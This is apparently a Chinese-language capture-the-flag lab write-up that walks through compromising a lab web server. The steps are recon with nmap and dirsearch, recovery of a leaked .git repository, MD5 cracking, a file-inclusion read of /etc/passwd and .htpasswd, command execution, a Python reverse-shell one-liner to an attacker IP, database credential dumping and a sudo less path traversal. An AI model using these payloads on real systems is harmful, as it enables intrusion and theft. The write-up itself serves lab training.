信息收集阶段:使用了哪些工具

1)、使用了 nmap 工具

nmap:网络扫描和发现工具,主要用于网络安全审计和网络管理

使用 nmap -sV +目标IP 来检测服务版本,暴露有哪些端口开放.如图所示

VswmMHZRNzLcqNudeAHVBCoGDpdfWlWd.png

(2)、dirsearch 工具

dirsearch :是一个Web目录扫描工具,用于发现网站上的隐藏目录、文件和敏感信息

使用dirsearch -u http://192.168.107.106 -e php,txt,bak,swp,old 来扫描目录下面的文件和敏感信息

aSnPPZFJYaFiMXMoPRPtAKrkEgZbWDnp.png

git(恢复网站源码)

MD5 在线解密

发现了哪些关键信息

目标主机开放 80 HTTP 端口,运行 Web 服务

网站存在 .git 源码泄露,可下载全部网站代码

存在文件包含接口 /api/loader.php

读取到 /var/www/html/api/.htpasswd 密码文件

获取到用户 zhangwei 的密码哈希

爆破得到密码:bob

发现命令执行点 ?exec= 可执行系统命令

总共利用了 4 个核心漏洞

1. Git 源码泄露漏洞(信息泄露)

(1)、我们通过扫描发现漏洞位置/.git/ 目录可直接访问

qNKQiyWPzmbIanjVEESdGKnVJrTPneAd.png

-sV扫描端口对应的服务版本

--script=vuln调用 Nmap 漏洞扫描脚本,自动扫目标存在的公开漏洞

目标:192.168.107.106

作用:自动发现这台服务器开放了哪些端口、运行什么服务、存在什么已知漏洞

进入下载好的 .git 所在目录,这个目录是 wget -r 自动创建的,里面包含了 .git 文件夹 如下图所示

通过 wget -r --no-parent 递归下载目标服务器的 .git 目录,这是 CTF 中常见的源码泄露利用方式,目的是恢复完整 Git 仓库,从中获取敏感信息.

CBCnoFcmTMktuIQTsphvXTlKTZQWxBZa.png

图1

qOkiCeTbsHnoWmtostMeoMMwkfYMgUKZ.png

图2

git reset --hard 32c6f0c67e8d557e191e745a44aac9b96e6851d7HEAD 现在位于 32c6f0c initial commit 查看历史版本中可能隐藏的敏感信息。

oJEuHOZLUGZkZirCDYNaPVXWrdNGrJxx.png

我们在查询一下有没有隐藏文件,查询得知有一个admin_panel敏感文件

ShjvQHDcVxgRRlYdtZPVwsOdSfjWLsdi.png

查看敏感文件,我们可以看到暴露出来的MD5密码,接下来我们要对它进行解密,利用我们的解密工具 来对它进行解密如下图所示

fcIpMbOXGOZjIMPbksWqcSFzCCRQSXwc.png
wFEqByAIpgkTolMgfYHRXMJldQvhVOCH.png

2、本地文件包含漏洞

漏洞位置/api/loader.php?module=xxx

漏洞原理module 参数直接拼接路径,无过滤,可读取任意系统文件

利用方法

plaintext

file:///etc/passwd
file:///var/www/html/api/.htpasswd
  • 获取内容:apache 密码文件、用户列表、系统配置


3. 远程命令执行漏洞

plaintext

漏洞原理exec 参数直接传入系统执行,无过滤

危害:可执行任意系统命令 → 反弹 Shell → 控制服务器


4. MD5 密码破解

漏洞位置:数据库中存储 MD5 弱密码

密码bob

MD59f9d51bc70ef21ca5c14f307980a29d8

利用方式:Python 字典爆破、MD5 解密


二、载荷

1. 文件读取载荷

plaintext

file:///var/www/html/api/.htpasswd

作用:读取 apache 认证密码文件,获得 zhangwei:$apr1$...


2. 命令执行载荷

plaintext

module=admin_panel&token=bob&exec=ls

plaintext

module=admin_panel&token=bob&exec=cat /home/zhangwei/flag2

3. 反弹 Shell (获取服务器控制)

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("你的IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

URL 编码后放入 exec= 即可弹回 root 权限 shell


4. kali监听登录

登录上kali之后可以执行find命令查找所有的flag,我们就可以查看到在根下的flag3和flag1,于是我们可以直接对flag1进行查看

JiXQnXZhjZCIfWMfzFdPzGHNULKdjEps.png

于是我们得到了flag1,后面的两个flag我们需要对mysql数据库进行查看用户

5.mysql数据库检查

可以使用如下指令

mysql -u root -p'R#xK9mWz$2pLnQ7v' abyss_platform -e "SELECT * FROM users;"

我们就能看到

VJtrYQKinkaNlILgbhWUcxAyPddPVeyc.jpg

看到admin的密码哈希,我们接下来需要对他进行爆破

然后在前面我们可以知道有一个数据库用户叫liwei,所以我们可以尝试用爆破出来的结果登录liwei的用户

这里我们选择su liwei

然后爆破出来的结果是dragon

我们就可以直接切换到liwei

6.切换用户检查

PpUdXJwBnpiScxRtlqYmNfNXFMMrntll.png

我们可以看到已经切换成了liwei

在切换到liwei后,我们可以直接cd到liwei家,直接看flag2

FcmuqOYOhMNPuWGsZrUhynGwXqYrGZxU.png

我们可以sudo -l看一看我们能执行的权限,在权限中我们可以知道liwei可以无密码查看

我们就可以执行


sudo /usr/bin/less /var/log/abyss/../../../flag3.txt

我们就能看到flag3啦!

eMvTKtkjpTVyibneHwHCLAWpnzeTptMC.png
HhLFmDcVFCqfjJaSHasGjUsgUtYDtkgD.jpg